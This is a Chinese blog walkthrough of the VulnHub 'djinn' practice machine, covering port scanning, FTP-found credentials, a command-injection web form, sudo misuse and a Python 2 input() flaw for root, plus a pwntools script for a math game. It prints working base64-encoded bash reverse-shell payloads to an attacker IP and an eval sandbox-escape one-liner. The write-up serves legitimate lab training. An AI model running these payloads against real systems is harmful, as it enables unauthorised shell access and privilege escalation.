vulnhub靶机-djinn

1、找到靶机ip:192.168.0.108

这步可以不做,靶机开机的时候有显示

2、扫描靶机端口

nmap -p- -A 192.168.0.108
21
22:过滤状态
1337
7331

3、ftp进行连接,一共三个文件

creds.txt


nitu:81299

暂时没看出来有什么用
game.txt

oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the final level and get the prize.

提示1337端口有个游戏,找到最后一关可以得到奖品
message.txt

@nitish81299 I am going on holidays for few days, please take care of all the work. 
And don't mess up anything.

暂时看不出有什么信息,但是这个81299重复出现不知道有用没

4、连接1337端口,这里是不能直接浏览器访问的,可以使用kali自带的nc进行连接,连接之后提示需要回答1000次数学运算题目,然后他会给一个礼物,这里可以先不动,先去7331端口看看

或者直接在这里提权到root,想看可以跳到10、(2)

5、浏览器访问7331端口,首页没有发现什么有用的信息

gobuster dir -u http://192.168.0.108:7331 -w /usr/share/wordlists/dirb/big.txt

扫描一下目录

访问genie目录,页面显示403,但是有一些隐藏的东西,ctrl+a或者查看源码就能看到

访问wish目录,有一个输入框,可以执行些什么

尝试输入命令执行一下,看看能不能得到结果,提交之后跳转到上面那个页面,乍一看可能会觉得没有成功,其实在url上面有结果了,并且在之前隐藏东西的地方也有显示

于是尝试使用命令反弹shell,这里直接使用一句话是不能可以的,显示Wrong choice of words,猜测是有过滤

将命令进行base64编码之后进行绕过

echo "bash -i >& /dev/tcp/192.168.0.109/4444 0>&1" | base64

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA5LzQ0NDQgMD4mMQo=

本地开启监听,提交payload,反弹成功

payload:
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA5LzQ0NDQgMD4mMQo="|base64 -d|bash

6、尝试提权到低权限,在当前目录下的app.py文件发现一个文件路径,查看一下得到一个用户名和密码

nitish:p4ssw0rdStr3r0n9

这里是不能ssh的,因为之前扫描的状态是filtered,先使用python提权,然后直接在这里su nitish切换到nitish

家目录下查看user.txt得到第一个flag

7、执行sudo -l命令,发现可以免密使用sam身份运行genie命令

8、试试genie命令,发现仅靠提示的一些参数是没有效果的

9、使用man genie查看更多的参数,发现一个-cmd参数

加上这个参数尝试执行命令,发现打开了一个新的终端,id查看到现在的身份已经是sam了

10、接下来就是需要提权到root权限了,有两种办法

(1)继续在这里执行sudo -l命令,发现可以使用root身份免密执行/root/lago,执行之后就看不出什么东西了

在自己的家目录下发现一个.pyc文件,内容有点像刚刚执行的程序,猜测是那个python文件编译后的文件,下载到本地进行反编译

在这里启动一个Python的简单的web服务器

python -m SimpleHTTPServer
默认端口:8000

反编译pyc文件得到python源码,发现运行程序后输入2,然后输入num即可提权成功,运行root目录下的proof.sh,渗透结束

uncompyle6 .pyc
from getpass import getuser
from os import system
from random import randint

def naughtyboi():
    print 'Working on it!! '


def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100: '
    s = input('Enter your number: ')
    if s == num:
        system('/bin/sh')
    else:
        print 'Better Luck next time'


def readfiles():
    user = getuser()
    path = input('Enter the full of the file to read: ')
    print 'User %s is not allowed to read %s' % (user, path)


def options():
    print 'What do you want to do ?'
    print '1 - Be naughty'
    print '2 - Guess the number'
    print '3 - Read some damn files'
    print '4 - Work'
    choice = int(input('Enter your choice: '))
    return choice


def main(op):
    if op == 1:
        naughtyboi()
    elif op == 2:
        guessit()
    elif op == 3:
        readfiles()
    elif op == 4:
        print 'work your ass off!!'
    else:
        print 'Do something better with your life'


if __name__ == '__main__':
    main(options())

补个坑,输入num就能提权成功的原因可以参考这篇文章

Vulnerability in input() function – Python 2.x - GeeksforGeeks

(2)从7331端口扫描结果可以看出是用的python写的,猜测1337端口是一样的,于是尝试python沙箱逃逸

eval('__import__("os").system("whoami")') #查看是以什么权限运行

eval('__import__("os").system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA5LzU1NTUgMD4mMQo=|base64 -d|bash")') #反弹shell

11、补充

访问1337的时候,需要使用nc,看到连接之后的界面,心里想这不会需要pwntools吧,之前跳过了,最后做完了在这里处理一下吧,手动回答1000次是不可能的,于是写个脚本,测试之后发现是1001次,渗透完成验证发现写的确实是1001次,脚本如下

from pwn import *

r = remote("192.168.0.108",1337)

for i in range(9):
	re = r.recvline()
	print re
for i in range(1001):
	print i
	re = r.recvline(keepends=False)
	print re
	num_list = re.split(',')
	num1 = int(num_list[0][1])
	yunsuanfu = num_list[1][-2]
	num2 = int(num_list[2][1])
	r.recv()
	if yunsuanfu == '-':
		result = num1-num2
		r.sendline(str(result))

	if yunsuanfu == '+':
		result = num1+num2
		r.sendline(str(result))

	if yunsuanfu == '/':
		result = num1/num2
		r.sendline(str(result))

	if yunsuanfu == '*':
		result = num1*num2
		r.sendline(str(result))

	print num1
	print yunsuanfu
	print num2
	print num_list
for i in range(3):
	print r.recvline()

部分源码

得到了三个数字:1356,6784,3409,猜测是端口敲门服务,之前的22端口是filtered,应该就是用来敲开这个端口的

在靶机上验证一下。查看靶机有没有运行knockd,发现是active状态,查看配置文件,也确实是这些序列号和顺序,关联的端口也是22号端口,但是我本地尝试敲的时候没有敲开

12、参考文章

Djinn Walkthrough | LifesFun’s 101

下一篇写djinn2

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值